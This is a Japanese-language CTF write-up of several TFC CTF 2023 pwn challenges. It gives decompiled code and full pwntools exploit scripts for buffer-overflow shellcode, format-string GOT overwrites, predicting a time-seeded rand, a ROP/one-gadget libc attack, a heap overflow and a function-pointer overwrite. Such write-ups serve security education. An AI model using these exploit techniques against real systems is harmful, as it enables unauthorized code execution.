😊

tfc-ctf-2023 writeup

2023/07/31に公開

Pwn-DIARY

シンプルなshellcode問です。

緩和機構は以下の通りに設定されていました。

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

vuln関数では以下のように、スタックで確保している以上にfgets関数による入力が可能なためBOFがあります。

   0x000000000040114f <+0>:     push   rbp
   0x0000000000401150 <+1>:     mov    rbp,rsp
   0x0000000000401153 <+4>:     sub    rsp,0x100
  -- snip --
   0x000000000040129b <+332>:   lea    rax,[rbp-0x100]
   0x00000000004012a2 <+339>:   mov    esi,0x400
   0x00000000004012a7 <+344>:   mov    rdi,rax
   0x00000000004012aa <+347>:   call   0x401040 <fgets@plt>

また、helper関数にはjmp rspのガジェットがあるのでこれを利用します。

0x000000000040114a <+4>:     jmp    rsp

以下はソルバーです。

from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify your GDB script here for debugging

gdbscript = '''
init-pwndbg
b *0x00000000004012b1
continue
'''.format(**locals())


exe = "./diary"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'

io = start()

padding = 264
jmp_rsp = 0x000000000040114a
shellcode =  asm(shellcraft.sh())

payload = flat(
    asm("nop") * 264,
    jmp_rsp,
    asm("nop")*8,
    shellcode,

)


io.sendlineafter(b"Dear diary...",payload)

io.interactive()

Pwn-SHELLO-WORLD

fsbの問題でした。

checksec
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000

逆コンパイル結果を確認すると以下の箇所にfsbがあります。

  fgets((char *)&local_108,0x100,stdin);
  printf("Hello, ");
  printf((char *)&local_108);

また問題バイナリにはwin関数があり、vuln関数からmain関数にretした後exitされるので、
fsbを使ってexit@got.pltをwin関数に上書きすればクリアです。

以下ソルバーです。

from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify your GDB script here for debugging

gdbscript = '''
init-pwndbg
b *0x4012fb
continue
'''.format(**locals())


exe = "./shello-world"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'

io = start()

win = elf.sym["win"]
writes = {elf.got["exit"]: win}
payload = fmtstr_payload(6,writes) 
io.sendline(payload)
io.interactive()

Pwn-RANDOM

seed値の設定不備を突く問題です。

逆コンパイル結果を確認します。

main.c
main.c

undefined8 main(void)

{
  int iVar1;
  time_t tVar2;
  int i;
  int j;
  int cnt;
  
  setup();
  tVar2 = time((time_t *)0x0);
  srand((uint)tVar2);
  for (i = 0; i < 10; i = i + 1) {
    iVar1 = rand();
    *(int *)(v + (long)i * 4) = iVar1;
  }
  puts("Guess my numbers!");
  for (j = 0; j < 10; j = j + 1) {
    __isoc99_scanf(&DAT_0010201e,input + (long)j * 4);
  }
  cnt = 0;
  while( true ) {
    if (9 < cnt) {
      win();
      return 0;
    }
    if (*(int *)(v + (long)cnt * 4) != *(int *)(input + (long)cnt * 4)) break;
    cnt = cnt + 1;
  }
  puts("You didn\'t make it :(");
                    /* WARNING: Subroutine does not return */
  exit(0);
}

rand関数で出力した結果と入力した結果を比較し、trueならcntをインクリメントします。
cntが10以上ならwin関数がコールされます。

srand関数にtime関数の返り値を渡しているので同じタイミングでseedを設定し、rand関数で得た結果を入力すればクリアです。

以下ソルバーです。
※seed -1しているのはリモート環境での実行用に調整しているためです。

from pwn import *
import ctypes

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify your GDB script here for debugging

gdbscript = '''
init-pwndbg
b *main+27
b *main+217
continue
'''.format(**locals())


exe = "./random"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'

libc = ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6")
rand_func = libc.rand
srand_func= libc.srand

io = start()
seed = int(time.time())

# remote 
srand_func(seed-1)

rand_arr = []
for i in range(10):
    rand_arr.append(rand_func())
io.recvuntil(b"Guess my numbers!")
for i in range(10):
    io.sendline(str(rand_arr[i]).encode())
io.interactive()

Pwn-EASYROP

rop問です。
問題バイナリにはget_indexで指定したアドレスの4バイトをread、またはwriteできる機能があるため、これを利用してsaved ripをリークした後、onegadgetに上書きします。

main関数のsaved ripには__libc_start_call_main+128が設定されているためこれをリークすることでlibcのbaseアドレスを特定できます。

get_indexでは入力値 % 3=0 になるような値を渡すとexitされてしまいますが、幸運なことに上記の位置は問題ありませんでした。

逆コンパイル結果
void main(void)

{
  undefined4 uVar1;
  long lVar2;
  undefined8 *puVar3;
  long in_FS_OFFSET;
  byte bVar4;
  int select;
  undefined4 local_210;
  uint local_20c;
  undefined8 local_208 [63];
  long local_10;
  
  bVar4 = 0;
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setup();
  puVar3 = local_208;
  for (lVar2 = 0x3e; lVar2 != 0; lVar2 = lVar2 + -1) {
    *puVar3 = 0;
    puVar3 = puVar3 + (ulong)bVar4 * -2 + 1;
  }
  *(undefined4 *)puVar3 = 0;
  while( true ) {
    while( true ) {
      local_210 = 0;
      local_20c = 0;
      puts("Welcome to easyrop!");
      puts("Press \'1\' to write and \'2\' to read!");
      __isoc99_scanf(&%d,&select);
      if (select != 1) break;
      local_20c = get_index();
      uVar1 = get_number();
      *(undefined4 *)((long)local_208 + (ulong)local_20c * 4) = uVar1;
    }
    if (select != 2) break;
    local_20c = get_index();
    printf("The number at index %d is %x\n",(ulong)local_20c,
           (ulong)*(uint *)((long)local_208 + (ulong)local_20c * 4));
  }
  puts("Bye :(");
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
get_index.c
uint get_index(void)

{
  long in_FS_OFFSET;
  uint local_14;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  fwrite("Select index: ",1,0xe,stdout);
  __isoc99_scanf(&%d,&local_14);
  if (local_14 % 3 == 0) {
    puts("Nope! Can\'t give u that one!");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return local_14;
}
get_number.c
undefined4 get_number(void)

{
  long in_FS_OFFSET;
  undefined4 local_14;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  fwrite("Select number to write: ",1,0x18,stdout);
  __isoc99_scanf(&%d,&local_14);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return local_14;
}

以下ソルバーです。
※rbpにbssのアドレスを入れているのは参照エラー回避のためです。

4バイトずつの書き込みのため分割して書き込みを行っています。

from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify your GDB script here for debugging

gdbscript = '''
init-pwndbg
b *0x0000000000401444
b *0x0000000000401465
b *0x00000000004014be
continue
'''.format(**locals())


exe = "./easyrop"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'

def write_mem(io,index,data):
    io.sendlineafter(b"Press '1' to write and '2' to read!",b"1")
    io.sendlineafter(b"index",index)
    io.sendlineafter(b"number",data)

def convert_int_arr(data):
    res = []
    val_fd = hex(data)[:6]
    val_bk = hex(data)[6:]
    res.append(int(val_fd,16))
    res.append(int(val_bk,16))
    return res

io = start()

# index = 130 でstart_callの後半リーク
# index = 131 でstart_callの前半リーク

payload = b"2"
io.sendline(b"2")
io.sendlineafter(b"index","131")
io.recvuntil(b" is ")
libc_harf_fd = io.recvline()[:-1]

print(libc_harf_fd)

io.sendline(b"2")
io.sendlineafter(b"index",b"130")
io.recvuntil(b" is ")
libc_harf_bk = io.recvline()[:-1]

libc_base = int(libc_harf_fd + libc_harf_bk,16) -0x29d90
info("libc %#x" ,libc_base)

pop_rdi = libc_base + 0x000000000002a3e5 #: pop rdi; ret;
binsh =  libc_base + 0x1d8698
system = libc_base + 0x50d60
ret =0x000000000040101a

info("system %#x" ,system)
info("binsh %#x" ,binsh)

    
one_gadget =libc_base+ 0x50a37 #0xebcf1 #0xebcf5 0xebcf8
one_gadget_arr = convert_int_arr(one_gadget)

write_mem(io,b"128",str(elf.bss(0x700)).encode())

write_mem(io,b"131",str(one_gadget_arr[0]).encode())
write_mem(io,b"130",str(one_gadget_arr[1]).encode())



io.interactive()

Pwn-NOTES

シンプルなheap overflowの問題でした。

問題バイナリとソースコードが配布されます。

note.c
note.c
#include <stdio.h>
#include <stdlib.h>

#define CONTENT_MAX (long long)256
#define NOTES_MAX 10

typedef struct _note_t {
    char* content;
} note_t;

void win() {
    system("/bin/sh");
}

void menu() {
    printf(
        "1. Add note\n"
        "2. Edit note\n"
        "3. View notes\n"
        "0. Exit\n"
    );
}

int get_index() {
    printf("index> \n");
    int index;
    scanf("%d", &index);
    getchar();
    if (index < 0 || index > NOTES_MAX) {
        return -1;
    }
    return index;
}

note_t* add() {
    note_t* note = malloc(sizeof(note_t));
    note->content = malloc(sizeof(CONTENT_MAX));
    printf("content> \n");
    fgets(note->content, sizeof(CONTENT_MAX), stdin);
    return note;
}

void edit(note_t* note) {
    printf("content> \n");
    fgets(note->content, CONTENT_MAX, stdin);
}

void view(note_t* notes[]) {
    for (int i = 0; i < NOTES_MAX; i += 1) {
        printf("%d. ", i);
        if (notes[i] == NULL) {
            printf("<empty>\n");
        } else {
            printf("%s\n", notes[i]->content);
        }
    }
}

int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    note_t* notes[10] = { 0 };
    
    while (1) {
        menu();
        int input;
        scanf("%d", &input);
        switch (input) {
            case 1: {
                int index = get_index();
                if (index == -1) {
                    break;
                }
                notes[index] = add();
                break;
            }
            case 2: {
                int index = get_index();
                if (index == -1) {
                    break;
                }
                if (notes[index] == NULL) {
                    break;
                }
                edit(notes[index]);
                break;
            }
            case 3:
                view(notes);
                break;
            case 0:
                exit(0);
                break;
            default:
                break;
        }
    }
}

checksecするとno-canary,no-pie,partial RELROであることがわかります。

問題バイナリにはadd,edit,viewの機能があり、noteの追加/編集/参照が可能です。

add関数では2度malloc関数をコールし、note用のメモリとnote構造体のcontent用のメモリを確保します。

note_t* add() {
    note_t* note = malloc(sizeof(note_t));
    note->content = malloc(sizeof(CONTENT_MAX));
    printf("content> \n");
    fgets(note->content, sizeof(CONTENT_MAX), stdin);

またedit関数ではadd関数で作成したnoteのcontentに書き込みができますが、ここに脆弱性があります。
add関数ではmalloc(sizeif(CONTENT_MAX))でメモリ確保していますが、editではCONTENT_MAX分(256)の入力ができます。

fgets(note->content, CONTENT_MAX, stdin);

gdbで上記の処理を確認します。

add関数で index 1 ,content "junk"を入力するとheap領域は以下のようになっています。
note,contentともに0x20サイズのメモリが確保されています。
※malloc(0x8)でコールされているがchunkの最小サイズは0x20のため

noteのchunkにはcontentを示すアドレスがあり、contentのchunkには入力したjunkという文字列が入っています。

0x405290        0x0000000000000000      0x0000000000000021      ........!.......
0x4052a0        0x00000000004052c0      0x0000000000000000      .R@.............
0x4052b0        0x0000000000000000      0x0000000000000021      ........!.......
0x4052c0        0x0000000a6b6e756a      0x0000000000000000      junk............

次にedit関数を実行し、fgets関数をコールする処理にブレークさせてみます。
fgetsではnote_chunkのcontentを指すアドレスへ0x100分の入力ができることを確認できました。
(ソースコードの通りですが…)

► 0x401291 <edit+44>    call   fgets@plt                      <fgets@plt>
        s: 0x4052c0 ◂— 0xa6b6e756a /* 'junk\n' */
        n: 0x100
        stream: 0x7ffff7fa1aa0 (_IO_2_1_stdin_) ◂— 0xfbad208b

上記の通り、問題バイナリにはheap overflowがあるのでこれを利用してexit.got.pltをwinに上書きします。

win関数をコールするまでの順序は以下の通りです。

  1. add機能でnoteを2つ作成する
  2. edit機能で1つ目のnoteを選択し、overflowで2つ目のnoteのcontentを示すアドレスをexit.got.pltに上書きする
  3. edit機能で2つ目のnoteを選択し、win関数のアドレスを入力する

以下ソルバーです。

from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify your GDB script here for debugging

gdbscript = '''
init-pwndbg
b *edit+44
continue
'''.format(**locals())


exe = "./notes"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
win = elf.sym["win"]

exit_got = elf.got["exit"] 
def menu(io,select):
    io.sendlineafter(b"1. Add note",select)

def add_note(io,index,content):
    menu(io,b"1")
    io.sendlineafter(b"index",index)
    io.sendlineafter(b"content",content)

def edit_note(io,index,content):
    menu(io,b"2")
    io.sendlineafter(b"index",index)
    io.sendlineafter(b"conten",content)

def exit(io):
    menu(io,b"0")


io = start()

add_note(io,b"1",b"junk")
add_note(io,b"2",b"junk")

payload = flat(
    b"a" *16 ,
    b"\x00"*8,b"\x21",b"\x00"*7,
    exit_got
)

edit_note(io,b"1",payload)

edit_note(io,b"2",p64(win))

exit(io)

io.interactive()


PWN-PWN;GATE

とあるアニメを題材にした問題でした。

問題バイナリとlibcが配布されます。

問題バイナリを実行するとnameを入力したあと、1-5までの入力した数値に応じた機能を実行できます。
入力した値はtimeline構造体(多分)のメンバに保存されます。
timeline構造体は文字列(0x1c)と関数ポインタ(0x8)を持っています。

$ ./pwngate
Your current timeline is horrible.
In order to reach the Pwn;Gate you are ready to sacrifice everything...

Enter your name: makise

What are you going to do?
-------------------------
[1] Try to change the timeline
[2] Time leap
[3] Ensure your sanity
[4] Remember who you are
[5] Exit
-------------------------
Enter choice:

以下はそれぞれの数値を入力した際の挙動です。

1: divergence_meter関数はを実行
2: timeleap関数を実行
3: leavingの値が0でなければsanity関数を実行
4: game_checkの値が0でなければokabe関数を実行
5: Exit

divergence_meter関数
void divergence_meter(void)

{
  size_t input_length;
  ulong cnt_j;
  undefined8 input_buf;
  undefined4 local_27;
  undefined2 local_23;
  undefined local_21;
  int j;
  int i;
  
  input_buf = 0;
  local_27 = 0;
  local_23 = 0;
  local_21 = 0;
  printf("Choose where to leap: ");
  fgets((char *)&input_buf,0xf,stdin);
  i = 0;
  j = 0;
  do {
    cnt_j = (ulong)j;
    input_length = strlen((char *)&input_buf);
    if (input_length <= cnt_j) {
      return;
    }
    if (*(char *)((long)&input_buf + (long)j) != 'g') {
      if ((*(char *)((long)&input_buf + (long)j) == 'o') && (i != 0)) {
        i = youdidwhat(i);
      }
      else {
        *(undefined *)((long)&timeline.field2_0x10 + (long)i) =
             *(undefined *)((long)&input_buf + (long)j);
        i = i + 1;
      }
      if (8 < i) {
        return;
      }
    }
    j = j + 1;
  } while( true );
}
timeleap関数
void timeleap(void)

{
  puts("You\'ve pressed the button... be ready for the leap!");
  sleep(0);
  (*timeline.timeline_func)();
  return;
}
sanity関数

void sanity(void)

{
  int iVar1;
  undefined4 select_input;
  undefined local_e9;
  char local_e8 [50];
  char input_buf [50];
  char local_84 [50];
  char local_52 [54];
  int select_num;
  int j;
  int i;
  int local_10;
  uint score;
  
  puts("\nI don\'t recognize you, answer some questions first.");
  sleep(1);
  score = 0;
  local_10 = 0;
  while( true ) {
    while( true ) {
      puts("------------------------------");
      puts("[1] Answer my questions");
      puts("[2] Show your answers");
      puts("[3] See your score");
      puts("[4] Return");
      puts("------------------------------");
      printf("Choose: ");
      select_input = 0;
      local_e9 = 0;
      fgets((char *)&select_input,5,stdin);
      select_num = atoi((char *)&select_input);
      if (select_num != 1) break;
      for (i = 0; i < 2; i = i + 1) {
        memset(local_e8 + (long)i * 0x32,0,0x32);
      }
      puts("What is written on the Lab Members badge?");
      fgets(local_e8,0x32,stdin);
      iVar1 = strcmp(local_e8,"OSHMKUFA 2010");
      if (iVar1 != 0) {
        score = score + 1;
      }
      puts("What is the name of Okabe\'s Laboratory?");
      fgets(input_buf,0x32,stdin);
      iVar1 = strcmp(input_buf,"Future Gagdet Laboratory");
      if (iVar1 != 0) {
        score = score + 1;
      }
      puts("What is Mayuri\'s favorite hobby?");
      fgets(local_84,0x32,stdin);
      iVar1 = strcmp(local_84,"Cosplay");
      if (iVar1 != 0) {
        score = score + 1;
      }
      puts("Is Ruka a boy or girl?");
      fgets(local_52,0x32,stdin);
      iVar1 = strcmp(local_52,"It depends on the timeline");
      if (iVar1 != 0) {
        score = score + 1;
      }
      game_check = 1;
      puts("I think l remember you a bit now...");
    }
    if ((select_num == 2) && (local_10 != 1)) break;
    if (select_num == 3) {
      local_10 = 1;
      printf("Your score is: %d \n",(ulong)score);
    }
    else {
      if ((select_num != 2) || (local_10 != 1)) {
        return;
      }
      puts("These are your answers: ");
      for (j = 0; j < 4; j = j + 1) {
        puts(local_e8 + (long)j * 0x32);
      }
    }
  }
  puts("You didn\'t even start the game...");
                    /* WARNING: Subroutine does not return */
  exit(0);
}

okabe関数
void okabe(void)

{
  int bool_strcmp;
  char input_buf [12];
  undefined local_1c;
  
  puts("What\'s the password?");
  fgets(input_buf,0x14,stdin);
  local_1c = 0;
  bool_strcmp = strcmp(&gl_password,input_buf);
  if (bool_strcmp != 0) {
    puts("That\'s wrong.");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  printf("Do you still remember who you are?: ");
  fgets((char *)&timeline,0x20,stdin);
  return;
}
whereami関数
void whereami(void)

{
  ulong input_num;
  
  puts("Stress levels are too high.. I\'m sure you want to take a break");
  puts("--------------------------------------------------------------");
  puts("[1] Exit");
  puts("[2] Exit");
  puts("[3] Exit");
  puts("........");
  puts("[124512] Exit");
  puts("--------------------------------------------------------------");
  printf("Choose what to do: ");
  __isoc99_scanf(&%1d,&input_num);
  if (input_num == 0) {
    puts("I dont like that number");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  verify_number(input_num & 0xffffffff);
  return;
}
verify_number関数
void verify_number(int param_1)

{
  if (param_1 == 0) {
    puts("Why didn\'t you give up?");
    print_current_password();
    return;
  }
  puts("Bye");
                    /* WARNING: Subroutine does not return */
  exit(0);
}

timeline->funcにはバイナリ実行時にコールされるcurrent_leapという関数でfate関数が設定されます。
またcurrent_leap関数ではpassword関数がコールされており、この関数ではrand関数の返り値をグローバル変数に保存します。

fate関数は文字列を出力するだけの関数です。

攻略の順序は以下の通りです。

  1. divergence_meter関数でtimeline-funcに設定されているfate関数下位1バイトを上書きしてnew_fate関数を設定する
  2. timeleap関数を実行、new_fate関数を実行される
  3. new_fate関数からwhereami関数がコールされるので、入力値 & 0xffffffff=0になるような値を入力する
  4. print_current_password関数がコールされ、levelingに1が設定された後passwordが出力される
  5. sanity関数を実行する
  6. sanity関数で3→2の順に入力する
  7. 問題バイナリのアドレスをリークできるのでこのアドレスからpie_baseを特定する
  8. sanity関数で1を入力する
  9. okabe関数を実行する
  10. timeline->funcに任意のアドレスを書き込めるのでwin関数の開始アドレスを設定する
  11. timeleap関数を実行する
  12. shellが取れる

以下ソルバーです。

solve.py
from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)



def menu(io,select):
    io.sendline(select)
    
def divergence_meter(io,data):
    menu(io,b"1")
    io.sendlineafter(b"Choose where to leap:",data)

def time_leep(io):
    menu(io,b"2")    

def sanity(io):
    menu(io,b"3")
    
def sanity_menu(io,select):
    io.sendlineafter(b"Answer my questions",select)

def sanity_answer(io):
    sanity_menu(io,b"1")
    io.sendlineafter(b"What is written on the Lab Members badge?",b"OSHMKUFA 2010")
    io.sendlineafter(b"What is the name of Okabe's Laboratory?",b"Future Gagdet Laboratory")
    io.sendlineafter(b"What is Mayuri's favorite hobby?",b"Cosplay")
    io.sendlineafter(b"Is Ruka a boy or girl?",b"It depends on the timeline")

def sanity_score(io):
    sanity_menu(io,b"3")

def sanity_show_ans(io):
    sanity_menu(io,b"2")

def sanity_ret(io):
    sanity_menu(io,b"4")

def okabe(io,password,data):
    menu(io,b"4")
    io.sendlineafter(b"What's the password?",password)
    io.sendlineafter(b"Do you still remember who you are?:",data)

# Specify your GDB script here for debugging

gdbscript = '''
init-pwndbg
b *sanity+724
b *okabe
continue
'''.format(**locals())


exe = "./pwngate"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
win = elf.sym["win"]
exit_got = elf.got["exit"] 


io = start()

io.sendlineafter(b"Enter your name:" ,b"test")

divergence_meter(io,b"a"*8 + b"\xec")
time_leep(io)

io.sendlineafter(b"Stress levels are too high.. I'm sure you want to take a break",b"-4294967296")
io.recvuntil(b"You aren't sane anymore... Your password is: \n")
password = io.recvline()[:-1]
print(password)

sanity(io)
sanity_score(io)
sanity_show_ans(io)

io.recvuntil(b"These are your answers: \n")
pie_base = u64(io.recvline()[:-1] + b"\x00"*2) - 0x3d48
info("%#x",pie_base)

elf.address = pie_base

sanity_answer(io)
sanity_ret(io)

win = p64(elf.sym["win"])
payload = flat(
    b"a"*24,
    win
)
okabe(io,password,payload)
time_leep(io)

io.interactive()

# TFCCTF{4cc3pt_wh4t_y0u_h4v3_s33n!}

Discussion